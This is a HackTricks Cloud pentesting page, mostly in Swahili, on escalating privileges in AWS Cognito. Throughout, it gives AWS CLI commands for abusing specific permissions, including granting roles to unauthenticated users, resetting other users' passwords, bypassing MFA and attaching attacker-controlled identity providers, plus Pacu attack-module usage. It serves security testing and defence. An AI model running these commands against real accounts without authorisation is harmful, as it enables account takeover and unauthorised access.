AWS - Cognito Privesc
Reading time: 12 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Cognito
Kwa habari zaidi kuhusu Cognito angalia:
Kupata credentials kutoka Identity Pool
Kwa kuwa Cognito inaweza kutoa IAM role credentials kwa authenticated na unauthenticated users, ikiwa utapata Identity Pool ID ya application (inapaswa kuwa hardcoded ndani yake) unaweza kupata credentials mpya na kwa hivyo kufanya privesc (ndani ya account ya AWS ambapo labda hukuwahi kuwa na credential yoyote kabla).
Kwa maelezo zaidi angalia ukurasa huu.
Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa services role iliyounganishwa na unauth users (na pengine pia ile iliyounganishwa na auth users).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
Kwa ruhusa hii unaweza grant any cognito role kwa authenticated/unauthenticated users wa cognito app.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Ikiwa app ya cognito watumiaji wasiojulikana hawajawezeshwa, unaweza pia kuhitaji ruhusa cognito-identity:UpdateIdentityPool ili kuziwezesha.
Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa cognito role yoyote.
cognito-identity:update-identity-pool
Mshambuliaji akiwa na ruhusa hii anaweza kuweka, kwa mfano, Cognito User Pool chini ya udhibiti wake au identity provider mwingine yeyote ambapo anaweza login kama njia ya kupata ufikiaji kwenye hii Cognito Identity Pool. Kisha, tu login kwenye provider huyo wa watumiaji itam kumpa uwezo wa kufikia authenticated role iliyosanidiwa katika Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Pia inawezekana kutumia vibaya ruhusa hii ili kuruhusu basic auth:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Potential Impact: Kupata udhibiti wa IAM role iliyosanidiwa ya authenticated ndani ya identity pool.
cognito-idp:AdminAddUserToGroup
Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwenye kundi la Cognito, hivyo mshambuliaji anaweza kutumia vibaya ruhusa hii kuongeza mtumiaji aliye chini ya udhibiti wake kwenye vikundi vingine yenye ruhusa bora au IAM roles tofauti:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Athari Inayoweza Kutokea: Privesc kwa vikundi vingine vya Cognito na IAM roles zinazounganishwa na User Pool Groups.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
Mshambulizi akiwa na ruhusa hizi anaweza kuunda/kusasisha vikundi na kuweka kila IAM role inayoweza kutumika na compromised Cognito Identity Provider na kumfanya compromised user kuwa sehemu ya group, akipata roles zote hizo:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Madhara Yanayowezekana: Privesc kwa Cognito IAM roles nyingine.
cognito-idp:AdminConfirmSignUp
Ruhusa hii inaruhusu kuthibitisha usajili. Kwa chaguo-msingi, mtu yeyote anaweza kujiandikisha kwenye applications za Cognito; ikiwa hili litaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuihakiki kwa ruhusa hii.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Athari Inayoweza Kutokea: Indirect privesc kwa identity pool IAM role kwa watumiaji walioidhinishwa ikiwa unaweza kusajili mtumiaji mpya. Indirect privesc kwa huduma nyingine za app ambazo zinaweza kuthibitisha akaunti yoyote.
cognito-idp:AdminCreateUser
Ruhusa hii itamruhusu mshambuliaji kuunda mtumiaji mpya ndani ya user pool. Mtumiaji mpya anaundwa akiwa ameamilishwa, lakini atahitaji kubadilisha nenosiri lake.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Athari Inavyoweza Kuwa: Direct privesc to the identity pool IAM role for watumiaji waliothibitishwa. Indirect privesc to other app functionalities being able to create any user
cognito-idp:AdminEnableUser
Ruhusa hizi zinaweza kusaidia katika tukio la nadra ambapo mshambuliaji ameipata credentials za mtumiaji aliyefungwa na anahitaji kuwezesha tena.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa identity pool IAM role kwa authenticated users na ruhusa za mtumiaji ikiwa mshambuliaji angekuwa na credentials za disabled user.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Ruhusa hii inaruhusu kuingia kwa kutumia method ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.
cognito-idp:AdminSetUserPassword
Ruhusa hii itamruhusu mshambuliaji kubadilisha nenosiri la mtumiaji yeyote, kumfanya aweze kuiga mtumiaji yeyote (ambaye hana MFA imewezeshwa).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa takriban mtumiaji yeyote, ikimaanisha upatikanaji wa vikundi vyote ambavyo mtumiaji anavyokuwa mwanachama wao na upatikanaji wa Identity Pool authenticated IAM role.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: Mshambuliaji anaweza kutumia vibaya ruhusa hii kuweka simu ya mkononi anayedhibiti kama SMS MFA ya mtumiaji.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Kama ile ya awali, ruhusa hii inaweza kutumiwa kuweka mapendeleo ya MFA ya mtumiaji ili bypass ulinzi wa MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Kama ile ya hapo awali, ruhusa hii inaweza kutumika kuweka mapendeleo ya MFA ya user pool ili kupita kando ya ulinzi wa MFA.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Pia inawezekana kusasisha user pool kubadilisha sera ya MFA. Check cli here.
Athari Inayoweza Kutokea: Inaweza kusababisha privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mdukuzi anajua credentials zake; hii inaweza kuruhusu kupita ulinzi wa MFA.
cognito-idp:AdminUpdateUserAttributes
Mdukuzi mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote za mtumiaji aliye chini ya udhibiti wake ili kujaribu kupata vibali zaidi katika programu ya msingi.
Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuiweka kama kuthibitishwa.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Athari Inayoweza Kutokea: privesc isiyo ya moja kwa moja katika application ya msingi inayotumia Cognito User Pool ambayo inatoa vibali kulingana na sifa za watumiaji.
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
Mshambuliaji mwenye ruhusa hii anaweza kuunda User Pool Client mpya isiyo na vikwazo vingi kuliko User Pool Clients zilizopo. Kwa mfano, client mpya inaweza kuruhusu aina yoyote ya njia za kuthibitisha, isiwe na siri yoyote, kufutwa kwa tokeni kumezimwa, au kuruhusu tokeni kuwa halali kwa kipindi kirefu zaidi...
Hali sawa inaweza kutokea ikiwa badala ya kuunda client mpya, mmoja aliyekuwepo atabadilishwa.
Katika command line (au update one) unaweza kuona chaguzi zote, angalia!.
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa mtumiaji aliyeidhinishwa wa Identity Pool unaotumiwa na User Pool kwa kuunda client mpya inayopunguza hatua za usalama na kumwezesha attacker kuingia (login) kwa kutumia mtumiaji aliyeweza kuunda.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
Attacker anaweza kutumia vibaya ruhusa hii kuunda watumiaji kwa kupakia csv yenye watumiaji wapya.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(Katika hali ambapo unaunda import job mpya unaweza pia kuhitaji iam passrole permission, sijaijaribu bado).
Athari Inayoweza Kutokea: Direct privesc kwa identity pool IAM role kwa watumiaji waliothibitishwa. Indirect privesc kwa vipengele vingine vya app kuwa na uwezo wa kuunda mtumiaji yeyote.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
Mshambuliaji anaweza kuunda identity provider mpya ili kisha aweze kuingia kupitia provider hii.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa identity pool IAM role kwa authenticated users. Privesc isiyo ya moja kwa moja kwa vipengele vingine vya app vinavyoweza kuunda mtumiaji yeyote.
cognito-sync:* Uchambuzi
Hii ni ruhusa ya kawaida kwa default kwenye roles za Cognito Identity Pools. Hata kama wildcard katika ruhusa kila mara inaonekana mbaya (hasa inayotokana na AWS), ruhusa zilizotolewa hazina maana kubwa kutoka mtazamo wa mshambuliaji.
Ruhusa hii inaruhusu kusoma taarifa za matumizi za Identity Pools na Identity IDs ndani ya Identity Pools (ambazo si taarifa za siri).
Identity IDs zinaweza kuwa na Datasets zilizoambatishwa kwao, ambazo ni taarifa za vikao (AWS zinaelezea kama saved game). Inawezekana kwamba hizi zinaweza kuwa na aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata kwenye enumeration page jinsi ya kupata taarifa hizi.
Mshambuliaji pia anaweza kutumia ruhusa hizi kujiandikisha kwenye enroll himself to a Cognito stream that publish changes kwenye datases hizi au kwenye lambda that triggers on cognito events. Sijawahi kuona hili likitumika, na siepange kupata taarifa nyeti hapa, lakini si jambo lisilowezekana.
Zana za Otomatiki
- Pacu, the AWS exploitation framework, sasa inajumuisha modules "cognito__enum" na "cognito__attack" ambazo zinafanya otomatiki enumeration ya mali zote za Cognito katika account na kuonyesha configurations dhaifu, user attributes zinazotumika kwa access control, n.k., na pia zinafanya otomatiki uundaji wa watumiaji (ikiwa ni pamoja na msaada wa MFA) na privilege escalation kulingana na custom attributes zinazowezekana kubadilishwa, usable identity pool credentials, assumable roles katika id tokens, n.k.
Kwa maelezo ya kazi za modules angalia sehemu ya 2 ya blog post. Kwa maagizo ya usakinishaji angalia ukurasa kuu wa Pacu.
Matumizi
Mfano wa matumizi ya cognito__attack ili kujaribu uundaji wa mtumiaji na vigezo vyote vya privesc dhidi ya identity pool na user pool client iliyopewa:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Mfano wa matumizi ya cognito__enum kukusanya user pools zote, user pool clients, identity pools, users, n.k. zinazoonekana katika akaunti ya sasa ya AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner ni zana ya CLI kwa python inayotekeleza mashambulizi mbalimbali dhidi ya Cognito, ikiwa ni pamoja na privesc escalation.
Usakinishaji
$ pip install cognito-scanner
Matumizi
$ cognito-scanner --help
Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud